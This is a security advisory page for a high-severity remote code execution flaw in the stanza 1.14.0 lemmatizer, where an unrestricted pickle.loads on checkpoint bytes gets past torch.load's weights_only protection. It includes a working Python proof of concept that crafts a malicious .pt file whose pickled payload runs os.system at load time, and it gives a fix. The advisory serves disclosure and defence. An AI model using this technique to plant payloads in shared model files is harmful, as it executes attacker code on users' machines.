All security reports
OSV security advisoryHigh

High advisory for stanza

GHSA-gh9r-c94j-cmp5 · Reported 3 Nov 2026

Full advisory details, affected packages, severity context, and original source.

Affected technology

stanzaAffected product

Advisory overview

## TL;DR Loading an attacker-supplied lemma `.pt` runs arbitrary code as the loading user. Since 1.14.0 the lemmatizer stores `pos_dict` as a gzip-compressed pickle in the checkpoint's `dicts` field (a `bytes` value). `torch.load(weights_only=True)` treats `bytes` as a primitive and passes it through unexamined, so its allowlist never sees the inner stream. `Trainer.load` then feeds those bytes to an **unrestricted `pickle.loads`**: the only bare `pickle.loads` in the tree. Result: `weights_only=True` gives no protection here, and model loading executes code. Confirmed end-to-end against stanza 1.14.0 / PyTorch 2.13.0 / CPython 3.13.7: a crafted checkpoint whose payload `__reduce__` returns `(os.system, (cmd,))` ran the command at load time (marker file showed `uid=501(...)`, `executed_by=...`). A downstream user is vulnerable whenever they build a pipeline that loads a caller-supplied lemmatizer checkpoint. i.e. `stanza.Pipeline(lang=..., processors="tokenize,pos,lemma", lemma_model_path="<attacker-influenced .pt>")` (or any equivalent load of an untrusted/shared lemma model through a custom registry) - since that call routes straight into `Trainer.load` -> `_unpack_pos_dict` and executes the embedded pickle at construction time. ## The vulnerable path `stanza/models/lemma/trainer.py`: ```python # _pack_pos_dict (write side): pos_dict -> pickle -> gzip -> bytes, stored under checkpoint['dicts'] def _unpack_pos_dict(data): # line 54 buf = io.BytesIO(data) with gzip.GzipFile(fileobj=buf, mode="rb") as gz: raw = gz.read() return pickle.loads(raw) # <-- unrestricted default unpickler ``` ```python def load(self, filename, ...): # line 365 checkpoint = torch.load(filename, ..., weights_only=True) # outer allowlist; bytes pass through intact ... if dicts_version == _DICTS_VERSION_POS: # dicts_version == 2 (current format) self.pos_dict = _unpack_pos_dict(checkpoint['dicts']) # line 378, no validation ``` **Reachable from the documented API.** `stanza.Pipeline(..., lemma_model_path=<file>)` -> `LemmaProcessor._set_up_model` -> `Trainer(model_file=…)` -> `Trainer.load`. Any shared/distributed checkpoint, custom registry, or caller-supplied `lemma_model_path` reaches it. No checksum is applied to caller-supplied paths (MD5 verification exists only in the default registry download flow). Trigger is at pipeline construction, before any inference input is processed. Note: this is **not** the `weights_only=False` fallback fixed under CVE-2026-54499: the outer load stays safe; the exposure is entirely the inner pickle. ## Minimal PoC ```python import gzip, io, os, pickle, tempfile, torch from stanza.models.lemma.trainer import _unpack_pos_dict, _DICTS_VERSION_POS MARKER = os.path.join(tempfile.gettempdir(), "stanza_lemma_poc_pwned") class Payload: def __reduce__(self): return (os.system, ("id > %s 2>&1; echo executed_by=$(whoami) >> %s" % (MARKER, MARKER),)) buf = io.BytesIO() with gzip.GzipFile(fileobj=buf, mode="wb") as gz: # same shape as _pack_pos_dict() gz.write(pickle.dumps(Payload(), protocol=4)) ckpt = {"dicts": buf.getvalue(), "dicts_version": _DICTS_VERSION_POS} pt = os.path.join(tempfile.gettempdir(), "evil_lemma.pt") torch.save(ckpt, pt, _use_new_zipfile_serialization=False) loaded = torch.load(pt, lambda s, l: s, weights_only=True) # SUCCEEDS; dicts is bytes, intact _unpack_pos_dict(loaded["dicts"]) # == trainer.py:378 -> command runs print("pwned:", open(MARKER).read().strip()) ``` The PoC calls `_unpack_pos_dict` directly: the exact expression at `trainer.py:378`. Reaching it through `stanza.Pipeline(...)` additionally requires the crafted file to carry a well-formed `config`/`vocab` so `load` runs to line 378 (established by source review); the deserialization to execution step is confirmed at runtime. ## Fix Deserialize the inner stream with the `RestrictedUnpickler` the project already uses in `stanza/models/common/doc.py` (allowlists `tuple`/`list`/`dict` only): ```python from stanza.models.common.doc import RestrictedUnpickler def _unpack_pos_dict(data): buf = io.BytesIO(data) with gzip.GzipFile(fileobj=buf, mode="rb") as gz: raw = gz.read() return RestrictedUnpickler(io.BytesIO(raw)).load() ``` A legitimate `pos_dict` is a nested `{pos: {word: lemma}}` string mapping no class/function globals, so it loads cleanly, while any `os.system`-style payload is rejected by `find_class`. JSON would work equally well (all keys/values are strings) and remove pickle from this path entirely. Apply to both `_unpack_pos_dict` and, for forward compatibility, `_pack_pos_dict`.

Affected packages and releases

PyPI / stanza

1.14.0

Also known as

CVE-2026-115878

Related references

Your vulnerabilities. One clear dashboard.

Find and review known vulnerabilities across your applications and infrastructure in one dashboard, so your team can see what needs attention and take action to fix it.

Create your account
Stanza: RCE via pickle deserialization in the lemmatizer | Security report | Cevnitra